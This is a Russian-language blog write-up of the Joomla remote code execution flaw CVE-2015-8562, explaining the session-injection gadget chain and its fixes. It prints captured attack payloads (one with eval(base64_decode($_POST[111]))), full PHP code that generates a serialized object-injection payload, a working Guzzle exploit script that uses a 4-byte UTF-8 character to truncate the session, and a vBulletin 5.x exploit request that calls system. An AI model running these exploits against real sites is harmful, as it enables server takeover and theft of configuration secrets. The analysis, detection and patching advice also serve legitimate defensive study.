Разбор уязвимости Joomla CVE-2015-8562

Категория: / DEV Блог / PHP (LAMP)
20151201 Core / Remote Code Execution Vulnerability

Позволяет злоумышленнику выполнить произвольный код. За последний месяц в джумле нашли две критические уязвимости. Последняя распространяется на все версии системы начиная с 1.5.0 и до 3.4.5. Кто-то мог эксплуатировать эту дыру около 8 лет, 8 лет Карл!.

Атакован ли ваш сайт?

Можно определить, посмотрев логи:

/var/log/httpd $ grep JDatabaseDriverMysqli *.log
 
access.log:71.19.248.201 - - [15/Dec/2015:17:03:05 +0300] "GET / HTTP/1.1" 301 239 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"; a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:37:\"phpinfo();JFactory::getConfig();exit;\"; s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
access.log:89.234.157.254 - - [15/Dec/2015:08:23:06 +0300] "GET / HTTP/1.1" 200 16603 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\"; a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\"; s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"


TL;DR
Уязвимость заключается в отсутствии должной фильтрации данных пользователя (заголовки user-agent и x-forwarded-for). Данные сохраняются в базу данных в сериализованном виде обработчиком сессий. Из-за бага обработки UTF8 строк Mysql, при сохранении данные обрезаются, позволяя внедрить произвольный объект (выполнить код) в массив $_SESSION при чтении данных сессии из бд.


Разбираем подробно на примере Joomla! 3.2.0

Код, сохраняющий небезопасный x-forwarded-for заголовок без проверки:

// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
    $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}


Joomla устанавливает свой обработчик сессий JSessionStorageDatabase с драйвером "базы данных" (JSessionStorageDatabase) по-умолчанию.

abstract class JSessionStorage
{
        public function register()
        {
                session_set_save_handler(
                        array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
                        array($this, 'destroy'), array($this, 'gc')
                );
        }
}
 
class JSessionStorageDatabase extends JSessionStorage
{
        public function read($id)
        {
                $result = (string) $db->loadData();
                ...
                        $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
        }
 
 
        public function write($id, $data)
        {
                $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
                ...
                $db->saveData();
        }
}


Сериализованная сессия в базе данных выглядит как (см. функцию session_encode)

__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450337832;s:18:"session.timer.last";
i:1450337832;s:17:"session.timer.now";i:1450337832;s:24:"session.client.forwarded";s:120:""...остальные данные}


Мы можем осуществить подмену (инъекцию) session.client.forwarded, таким образом мы можем записать произвольное значение в поле data таблицы #session
Беда в том, что восстановление данных сессии (см. функцию session_decode) перестанет работать.

Тут нам на помощь приходит mysql, в котором присутствует довольно неприятный баг - при сохранении строки в кодировке utf8 может произойти ее обрезание, если встретится символ расширенного юникода (4 байта), например символ коровьей лепешки pile of poo! с кодом 0xF0 0x9F 0x92 0xA9.

Фикс: Использование кодировки utf8mb4 вместо utf8 (SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci);
Также `баг` с усечением строки при вставке не работает, если в mysql/mariadb используется строгий режим strict mode (sql_mode = STRICT_TRANS_TABLES, STRICT_ALL_TABLES).
Напомню, что по-умолчанию mysql не использует данный режим. как включить? . Живой пример смотрите на sqlfiddle.


Теперь нужно придумать как выполнить произвольный код при создании объекта?

Обратимся к классу работу с базой данных. класс JDatabaseDriverMysqli.

class JDatabaseDriverMysqli
{
    public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }
 
            mysqli_close($this->connection);
        }
 
        $this->connection = null;
    }
 
    public function __destruct()
    {
        $this->disconnect();
    }
}


В драйвере присутствует деструктор (будет вызван по завершении скрипта), который выполняет метод disconnect в котором при наличии активного подключения выполняются пользовательские обработчики (колбэки) закрытия соединения с базой данных. Это можно использовать!

Смотрим дальше.

В стандартную поставку Joomla входит пакет simplePie - класс для работы с новостными лентами (rss). Написан он так, что позволяет в рантайме переопределять некоторые функции (вызывает их через call_user_func).

Код SimplePie

class SimplePie
{
    var $cache_name_function = 'md5';
    var $cache_class = 'SimplePie_Cache';
 
    function SimplePie($feed_url = null, $cache_location = null, $cache_duration = null)
    {
        ...
        $this->init();
    }
 
    function init()
        if ($this->feed_url !== null)
        {
            $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
            if ($this->cache && $parsed_feed_url['scheme'] !== '')
            {
                $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
            }
        }
    }
}


Попытаемся осуществить инжект кода:

# подгружаем SimplePie автолоадером
new JSimplepieFactory();
 
#пробуем
$s = new SimplePie();
$s->feed_url =  'var_dump(\'http://skillz.ru/\', JFactory::getConfig());';
$s->cache = true;
$s->sanitize = new JDatabaseDriverMysql();
$s->cache_name_function = 'assert';
$s->cache_class = new JDatabaseDriverMysql();
$s->init();


На потом: метод init() вызывается конструктором, если передан feed_url

Мы использовали cache_name_function = 'assert' в качестве "кэширующей" фукнции (напомню что assert в php позволяет выполнить произвольный код).
В качестве параметра assert передается feed_url. Сложность в том что feed_url должен быть валидным урлом (ну или почти валидным), разбирается регуляркой

preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match);
...
return array('scheme' => $match[2]...


Установив значение $feed_url = 'var_dump(\'http://skillz.ru/\', {произвольный код});'
получим scheme = "var_dump('http", а это то что нужно чтобы пройти проверку ($parsed_feed_url['scheme'] != '')

Свойства sanitize и cache_class нужно "мокнуть", для этого идеально подойдет класс бд JDatabaseDriverMysql, т.к. в нем реализован волшебный метод __call, который отработает необъявленные вызовы.

В итоге

call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');


Трансформируется в

call_user_func(array(new JDatabaseDriverMysql, 'create'), '', call_user_func('assert', 'наш-код'), 'spc');


Теперь нужно внедрить полученые наработки в сессию

Создадим файл для генерации кода для инжекта (payload.php)

/**
 * @project: joomla-remote-code
 * @author: Golovkin Vladimir <rustyj4ck@gmail.com>
 * @created: 16.12.2015 15:13
 */

class JDatabaseDriverMysql {
}
 
class JDatabaseDriverMysqli {
 
    protected $_simplePieLoader;
    protected $connection = 1;
    protected $disconnectHandlers = [];
 
    function __construct()
    {
        $this->_simplePieLoader = new JSimplepieFactory;
        $this->disconnectHandlers []= [new SimplePie, 'init' ];
    }
 
};
 
/*
SimplePie не подгружается автоматически, будет сообщение об ошибке
call_user_func_array(): The script tried to execute a method or access a property of an incomplete object.
Please ensure that the class definition "SimplePie" of the object you are trying to operate on was loaded _before_ unserialize()
gets called or provide a __autoload() function to load the class definition  in \libraries\joomla\database\driver\mysqli.php on line 207
 */

class JSimplepieFactory {
}
 
class SimplePie {
 
    public $feed_url =  'var_dump(\'http://skillz.ru/\', JFactory::getConfig());';
    public $cache = true;
    public $sanitize;
    public $cache_name_function = 'assert';
    public $cache_class;
 
    function __construct()
    {
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache_class = new JDatabaseDriverMysql();
    }
}
 
session_start();
 
$object = new JDatabaseDriverMysqli();
 
$_SESSION['__test1'] = $object;
 
$payload =  session_encode();
$payload = str_replace("\0*\0", '\0\0\0', $payload);
 
file_put_contents('payload.txt', $payload);


Пояснения: создаем заглушки классов для сериализации, записываем результат в payload.txt
"\0*\0" - аттрибут для защищенных свойств, иначе десериализация отработает неправильно.

Внедренный код JFactory::getConfig() должен вывести на экран конфигурационные параметры джумлы.

payload.txt

__test1|O:21:"JDatabaseDriverMysqli":3:{s:19:"\0\0\0_simplePieLoader";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"feed_url";s:53:"var_dump('http://skillz.ru/', JFactory::getConfig());";s:5:"cache";b:1;s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}}


Пишем эксплойт

use GuzzleHttp\Client;
use GuzzleHttp\Psr7\Request;
 
$jar = new \GuzzleHttp\Cookie\CookieJar;
$client = new Client();
 
$url = 'http://localhost/joomla3/';
$useragent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0';
$terminator = "\xf0\x9d\x8c\x86"; //pile-of-poop
$testPayload = file_get_contents('payload.txt');
$payload = '}_broken|s:2:"@1";' . $testPayload  . ';' . $terminator;
 
$request = new Request('GET', $url);
$request = $request->withHeader('x-forwarded-for', $payload);
$request = $request->withHeader('user-agent', $useragent);
 
for ($i = 0; $i < 2; $i ++) {
    $response = $client->send(
        $request,
        [
           'cookies'     => $jar,
           'debug' => true,
        ]
    );
 
    printf("HTTP:%d\n%s\n", $response->getStatusCode(), $response->getBody());
}


composer.json (загружает guzzle)

{
    "require": {
        "guzzle/guzzle": "^3.9",
        "guzzlehttp/guzzle": "^6.1"
    }
}


После запуска:

Первый запрос создает сессию с внедренным кодом.

Второй запрос загружает сессию из базы и выполняет код:

В $_SESSION появится объект __test1

JDatabaseDriverMysqli {
  +"_loader": JSimplepieFactory {}
  #connection: 1
  #disconnectHandlers: array:1
    0 => array:2 [
      0 => SimplePie {
        +sanitize: JDatabaseDriverMysql {}
        +feed_url: "var_dump('http://skillz.ru/', JFactory::getConfig());"
        +cache: true
        +cache_name_function: "assert"
        +cache_class: JDatabaseDriverMysql {}        
      }
      1 => "init"
    ]
  ]
}


Вывод:



UPD

1. session_decode исправлен в PHP начиная с 5.5.29, 5.6.13 (если у вас актуальные версии - ваш сайт в безопасности).
2. Уязвимость закрыта в Joomla 3.4.6
3. Можно проверить свой сайт онлайн на наличие описанной уязвимости.

[20151201] - Core - Remote Code Execution Vulnerability

Месяцем ранее был опубликован код эксплойта уязвимости в популярном форумном движке Vbulletin 5.x, использующий тот же механизм выполнения вредоносного кода...
Запрос: /ajax/api/hook/decodeArguments?arguments=O:12:%22vB_dB_Result%22:2:%7Bs:5:%22%00*%00db%22;O:18:%22vB_Database_MySQLi%22:1:%7Bs:9:%22functions%22;a:1:%7Bs:11:%22free_result%22;s:6:%22system%22;%7D%7Ds:12:%22%00*%00recordset%22;s:20:%22echo%20$((0xfee10000))%22;%7D